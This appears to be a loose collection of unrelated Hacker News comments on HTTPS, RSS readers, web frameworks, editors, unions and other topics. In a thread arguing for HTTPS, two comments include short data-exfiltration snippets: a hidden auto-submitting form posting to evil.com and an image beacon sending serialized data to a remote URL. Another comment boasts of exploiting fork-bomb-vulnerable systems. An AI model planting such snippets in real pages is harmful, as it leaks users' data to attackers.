skysight-inc/HackerNews huggingface dataset:
This is a massive reason, imo. The average user views that url annotation as a bad thing. They don't know it's static, or even what "static" refers to.
"Use regardless instead."
There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>.

In general terms, you can often write cross-origin, but you can't read.
People who don't know say these things. Try writing web applications in C/C++, it's a deluxe development situation. Where do you think web browsers come from? Everyone afraid of C/C++ are shooting themselves in the feet.
What about CNC milled gun files? Seems like a much bigger threat since mills capable of producing reliable firearms are probably orders of magnitude cheaper and far more ubiquitous than the necessary 3D printers.

And of course thugs sell conventional mass-produced guns on the streets for another few orders of magnitude cheaper and more ubiquitous than CNC mills.
Hi from the OSM data working group. Please don't do massive imports like this without discussing them first with the local community, and the global one if there's no significant local one.

The impact from the massive Facebook edit was more important, I think, and people are still very skeptical about whether massive ML mapping like this can provide value to OSM today. Announcing and discussing the edits first would have been better PR. Recovering goodwill will take a lot of time and effort.

Our guidelines prohibit undiscussed edits like these, and not only the ones that cause trouble. It is not respectful to the unpaid volunteers that cleaned up after this that LukeWalsh seems to think it was "not […] so bad".

Please see:

https://wiki.openstreetmap.org/wiki/Automated_Edits_code_of_...

https://wiki.openstreetmap.org/wiki/Import/Guidelines
S2 has been used inside google for 10+ years.

Honestly, it's one of the best abstractions I've ever used.
I mean, yeah. You probably should. But it's entirely reasonable of a game developer to say "I'm not an expert in random numbers, but Microsoft has lots of smart engineers, I'm sure they did their research and provided a good implementation".

The actual answer is that you shouldn't just provide a default "Random" class, you should provide a more general class with a pluggable algorithm.
There's always things like CloudFlare? You have to use them as the main NS, but both transfering the domain and enabling HTTPS is a few clicks (properly configuring your server to only be accessible by CF might be harder, but may not be needed in a static site case).
That article specifically mentions that service workers avoid these issues. There's nothing stopping static pages from making service workers available.

HTTPS and a service worker are a far better solution than having an insecure domain.
I liked it, I'll say hi to your mother next time I go there.
Simple:

- most RSS readers suck so bad you can't even retrieve years old articles. So if you follow blogs that don't post often, you simply can NOT get any of their older posts. Imagine a blog that has one seriously good article once a month. Typically you can't get more than a year's worth of posts, so that's like 12 articles. Why?

- the best RSS app I had on iPad let me archive feeds for a LONG time. I used it as a kind of a library. Returned to articles many times (philosophy and such). Most RSS readers out there have ZERO functionality in terms of archiving content indefinitely. (meaning : they typically have some leeway in max articles stored, or how old to archive feeds.. but you know you simply can not realy on the app to save your favorite articels, at some point they will be deleted).

- inability to highlight text. Again, if I read something I want to be able to at least highlight some text. Most RSS readers don't do this.

Instead RSS readers do the same thing every other RSS reader does. Basically, it's like the developers of RSS apps think that the only purpose of retrieving articles is for fueling some kind of "feed" addiction. Like the only purpose of content on the web is to satisfy an urge to quick scan and move to the nex article.

It's like the devs of RSS apps are so drugged out themselves in this day and age of short attention span, that they can't envision other uses for a feed reader than satisfying this urge for the daily/hourly doses of "novelty". Click click click. Swipe swipe swipe.

/rant off
>they just end up wasting a minority's time.

They also waste their own time, so there's some good coming out of it.

But I wouldn't say unintelligible accent is racism. I've met some unintelligible people that were born and raised where I live.

An accent is also something you can change (even though it's hard). So it would be really valuable feedback to the person who's not getting it.
There's nothing wrong with making something "more difficult" if it serves the greater good or has a larger positive impact than negative. For one, using a trivially higher percentage of a metered satellite feed is not "more difficult," just perhaps marginally more expensive. What percentage of folks reading static blogs are on a metered satellite connection?

I think if every site and application that is currently HTTP was HTTPS a year from now it would be a net positive for internet users.
Aren't mailing lists even older than IRC? Anyway, whatever works, right?
This is a misleading statement. Labor organizers represent a labor union that's trying to organize those workers -- usually with the goal of having that newly established union join up with the union the labor organizers represent, but they never have to. The new union could join up with any other, or set off on their own.

Saying "a political organization" is misleading because it evokes an image of a super-PAC or something else overtly political, and saying "some other interest group" glosses over the reality that, yes, you could call unions interest groups that represent their workers for collective bargaining, but again, that's misleading.

The fair way to phrase this is "Labor organizers represent a union that's trying to unionize a new workplace," but that obviously sounds less sketchy.

And the workers take a verrrrry active role in the process, especially any that become involved in the organizing themselves, up to and including being fired (illegally, because firing someone for labor-related activities is not allowed).

* Not a union member, but I hate seeing anti-union and anti-labor tropes trotted out, especially on a group that usually prides itself on accuracy.
Incorporate the fission products into a glass by boiling with nitric acid and melting with iron oxide and phosphoric acid. Cast the glass into large blocks, dump those into the deep sea. The radiation is shielded, heat is convected away, nothing dissolves, nobody gets hurt, evil terrorists couldn't retrieve the stuff if they tried with both hands. How is this difficult?

If we did this with plain spent fuel, the glass would contain plutonium, and the usual professional liars (Nader, Caldicott, ...) would claim that the plutonium and uranium would dissolve over millions of years and give everyone cancer. But with fission products and a time horizon of just 500 years, even that kind of nonsense doesn't have any impact anymore. (And we shouldn't trash plutonium. It's valuable!)
YouTube Meddles in Swedish Election by Deleting Right-Wing Content
It's hyperbole, but the point is that vanilla JS couldn't accomplish it easily without a lot of headache.

Handling browser compatibility alone made jQuery extremely useful back when it first emerged.
Nice try, but ...
Many of the questions in the Regular and Senior categories I would put into Junior. It's not clear to me who the audience is for this. It's not comprehensive enough for a test-giver, test-taker or self-studier. Having it be a single MarkDown document makes it hard to munge. I would guess that there is a better vefsion already written elsewhere.
I consulted on a site that could get 50 million unique users in any given month, sometimes with large bursts of traffic.

A heavy read site is trivial to scale these days. Serve static assets from CDNs, fragment cache the views, horizontally scale when needed. Rinse, repeat.
The answers to the questions are not 100% accurate is what I should have said.
How does same-origin policy (on a MITM'd website) prevents this?

(new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
cue the addition of opt-out settings, and Venmo representatives immediately opting out of the public feed.
Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com
> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate.

If there is no content, you have no site, so the issue is moot.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code.

The application is content, and the thing you need HTTPS to protect. Otherwise, the application the user actually runs could be anything an attacker wants.

> I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted.

It's not, because the code you send controls what happens with the data.

> A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code.

It can, because in an MITM the attacker impersonates your site. The therefore can bypass any protection offered the same origin policy, because they own your origin.
GitHub was never a 'small' organization. Look at Vim as another example. Great little editor with tons of great features and community, and arguably can do just about everything that VS Code can (maybe even more, with the right plugins).

I feel like there might be an interesting story there, maybe. Or maybe not. Not sure.
Direct vascular channels connect skull to dura, enabling myeloid cell migration
Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.
He means, you would donwload a theoretical rom containing the game with its entire pre-rendered world for each level. Which would mean that given a large enough 4k screen you would be able to play a game without scrolling. i.e. the entire level would show on the screen at once and you would only move the player character around it. =) nice idea =)

edit: same thing as mentioned by ArtWomb in another comment
>" This would make a cool art installation. If you can get access to one of those giant screens that you see demo'd at E3. You can visualize the entire Land of Hyrule from Lengend of Zelda. With a tiny Link navigating his way through the world ;) "
Feeling unmotivated? The solution may be to give advice to others
A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack.

The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
Let's Encrypt is one of the best things that happened to the web recently. I wish we had more choices though. Relying so much on a single party is unnerving.
Philips Hue: Backup/Restore Still Not Supported
It clearly sounds synthesized.
every now and then i change things up and explore the field. textmate -> sublime -> vim -> emacs -> idea -> (now) vscode.

i really want to like emacs, i think it's probably the most productive environment if you sink a thousand hours into fiddling with your configs and get things just right for yourself but ultimately it's a breath of fresh air when most stuff just works out of the box and your config is just bunch of checkboxes and simple text fields (or json). i've tried spacemacs and i've tried writing my own config - none of it is even close to how quickly you can get comfortable and productive in atom/vscode, even if the productivity ceiling is (maybe) lower than that of emacs.

i'm in constant cognitive dissonance about electron apps. atom and vscode are just incredibly good projects.
Venezuela was once an aviation gateway to South America. Now it’s an outcast
Cpanel comes with easy to use Lets Encrypt module. Auto-new the certificate and sends optional email alerts each time it renews or fails.

Web hosts are making it easy to use Lets Encrypt, which surprised me. I thought they'd be reluctant to give up the revenue from high margin certificate sales.
What is the business case for their making transactions public? Venmo can still mine and sell user data without it being public. I believe they can also use the FB social graph api without transactions being public as well. Am I missing something obvious?
I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it.

It won't stop a modified code from pushing data to anywhere in the web either.

> More fortunately still the application is a diff tool, so it can perform self validation

Yes, if the application has been loaded before but I feel like it would be a half-baked HSTS implementation.

Edit: it was too convoluted
How is the same origin policy helping when the attacker is impersonating your domain to the target?
Let's just be honest: today's dev's can't write in C/C++ because they don't have the formal training. They are primarily script language devs who can't work at the low level required by C/C++. The formally educated programmers who were taught low level large-scale systems programming are too few to create the programmer farms you all work it (which I left for scientific software development, where the devs are older and we all work in C/C++ or assembly.)
This is the only correct response.

I’ve been doing this a long time, and it’s demotivating to see every new generation of noob developer turn their nose up at the work of the generations before.

It’s not as if Rails has stagnated - it keeps getting better with every release. You could be excused for wanting to switch from Java servlets and PHP apps back in the day, because the Rails dev experience was that much better. But all of this Javascript crap is just re-writing for the sake of re-writing. And it happened so quickly - not even six years ago, Rails was the obvious choice for a new web app. Technologically, what has changed since then? Very little.

People unironically ask if Rails is “still relevant”, and then switch back to their (hideously slow, JS-based) editor to grind out spaghetti code in node, not even stopping to wonder why their NPM dependency tree has sixteen different versions of the same json module.

Such a waste.
so I checked out the website and I still don't get what Dremio actually is...

I know what I need which is a wide open easy to use (think CEO's personal assistant who has zero background in anything other than basic business processes easy) visual ETL tool.

We have found some decent VERY expensive and VERY user unfriendly tools but nothing cheaper than just hiring a person to custom handle each batch.

Basically...we're stuck with Cognos, et al.
I went there to see why and the only subhead I understood without searching was "HTTPS is easy". I gather, only HTTPS is easy nowadays :)
Good find, thanks for sharing that. So it's classic case of the business deciding they had a use case that took precedence over their users' interests.

I feel pretty confident that they could have come up with a better solution if they had considered the privacy aspect at all. One really simple, basic step might be not exposing the exact datetime when the transaction was made. Not linking both parties to the transaction in one display would be another choice that would still serve the purpose of demonstrating volume.
Well, the Same origin policy may protect the users a bit if the attack takes place after they've downloaded the app, but if they haven't - the attacker can modify it and they won't even notice.
It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
Good thing the New York Times isn't in Europe.
>I don't know where Barry gets this, and it's written like a National Geographic-esque piece of a man trying to understand the actions and intents of animals in the Serengeti.

I hate this trend. I don't have to agree with people to understand them from their own frame of reference. But it often makes me feel like an outsider to do something as simple as disagree with my southern relatives on political points without assuming conspiracy theories about their motivations and hating the core of their essence over it.

Here's a less charged example: The NY Times released a video about the late bodybuilder and internet personality Zyzz yesterday. He was simultaneously inspiring and a downright terrible role model. The vast majority of people that like him know that and easily separate the whey from the chaff (positivity = good, steroids = dumb). There can be a lot of light-heartness, sarcasm and trolling on fitness parts of the internet. It was all taken at face value, stapled to existing media narratives, and shoved in front of a huge audience. I feel like, at some point, most people trying to share an understanding of others online are thick, not really trying, or actively malicious. It was a pretty depressing video (especially because the angle of the piece was to pick apart kids in their teens/early twenties trying to figure out life, that made the mistake of doing so online).
Are you sure? I just checked for myself, but (on the google maps version I am served) the south pole is still shows as a black hole when zoomed out far enough that the earth is rendered as a sphere. Also the elongated shape of the tiles near the poles looks an awful lot like a mercator projection.
I don't agree with there being "a next batch of sysadmins" because the layers are so abstracted now. I have still seen systems that don't protect against fork bombs. I love taking advantage of it.
I don't understand why the poor implementation of the default constructor (seeding the RNG with the time) cannot be changed. It is not reproduceable anyway, so why not initialize with entropy requested from the OS?
Ohh I dunno. Lets say you're running a non-HTTPS site and an attacker MITMs one of your users and injects JavaScript which will appear to come from your site into that users session.

At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.
My point was that the technology in a startup is nearly irrelevant if you don't have sales.

Step 1-1000 of building a startup is selling.
Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...
A man's gotta do... The zeta stuff is coming in my white paper real soon and will be summarized in https://github.com/fed135/ha-store/wiki

Cheers :)
Security Token 2.0 Protocols Part II: Hybrid Tokens
You might know Python but it sounds like you don't know Django very well.

Django does have built in JSON support[1]. There's also Django Rest Framework[2], which while not built into the core, is well supported and hardly a burden to add.

And finally, Django's "scaffolding" functionality is built around its models. You define your model as a plain Python class inheriting from Django's model class, and then the various generic[3]/"scaffolding" views work by being told what model they're for, with the ability to override and extend whatever you want to.

[1]-https://docs.djangoproject.com/en/2.1/ref/request-response/#...

[2]-http://www.django-rest-framework.org/

[3]-https://docs.djangoproject.com/en/2.1/topics/class-based-vie...
The Rise and Fall of Knight Capital (2018)
My first Python project I walked into was in Twisted and was a MySQL abstraction layer and written by a crazy smart pair of folks where one of them was the king of early (unneeded) abtractions. On top of that, the tech lead wanted it to be ran in a Vagrant instance where he had set up most of the requirements, but not all. I had never even used a VM at the time, let alone worked on a project that dealt with multiple DB backends. I was handed it and told nobody had time to help, figure it out. Two weeks later, and I finally got the unit tests to pass and for it to actually start up.

The next one was likely the worst I've worked on. Twisted again. A shortened link redirector. Like, should be simple. I had to change one variable for my fist task in the codebase. I had to get help. It was hidden up three parent classes and three mixins away. Also turned out the majority of unit tests never would actually run because they didn't wait for the deferred events to actually return. Tests passed because they were not given the time to actually run assertions. Good times. :)
For the several dozen EA games I worked on, in C++, all operator overloading was banned. Too many fools play dumb tricks with operator overloading, so it was declared illegal. I don't miss it, as it is a fool's tool.
AMD’s First Gen Ryzen Threadripper CPU Price Cuts–12 Core 1920X for Just $400 US
This was exactly my experience. I struggled building with Rails, and every day was an uphill battle trying to learn the machinery. I switched to Node, and feel my better. My structure isn't nearly as pretty, optimal, or efficient now, but I'm actually learning the base concepts and understanding what I'm doing.
Emergency doctor here, I have to say that diagnosing a sick child is one of the hardest things you can do in medicine (aside from figuring out why someone is feeling 'dizzy'). The limiting step here is that we can't do blood tests and x-ray/CT on everyone that walks in the door (which itself can lead to harm: https://emergencymedicinecases.com/overinvestigation-emergen...)

I work in one of the busiest ER's in Canada, and maybe one child out of hundreds will have something hidden... Many illnesses, particularly meningitis, are so rapid in killing the patient that you may miss the early symptoms (which are often mild).

What many posters have eluded to about 'gut feeling' is well described in medical education literature, where 'system 1' is well thought out, algorithmic reasoning, and 'system 2' is pattern recognition and based on experience. Many cognitive biases can affect both meeting (described will in this paper: https://www.ncbi.nlm.nih.gov/m/pubmed/12915363/).

Your gut feeling can be affected from anything from unusual vital signs, to the way a patient talks, to beads of sweat on their forehead, and a million other things that take years and years of training to catch.

Anyone who can build an ML model to catch these clues is going to make billions.
I love the idea of VSCode, but I find it rather confusing to use. The configuration of plugins is non-trivial to figure out, sure you can copy paste a bunch of stuff from the web, but how do I figure the configuration out on my own? The best answer I've come up with this far is "You don't".

Even opening file/projects is a bit weird to me.

VSCode isn't necessarily to blame for this, it's just different from TextMate and Vim. Still I've found it rather difficult to get started with.
Might want to use the full url [0] when sharing your work - the one you linked gives me problems with the ssl cert.

[0] https://www.nurtch.com/
> I'm sure they did their research and provided a good implementation

Apparently their implementation has several shortcomings.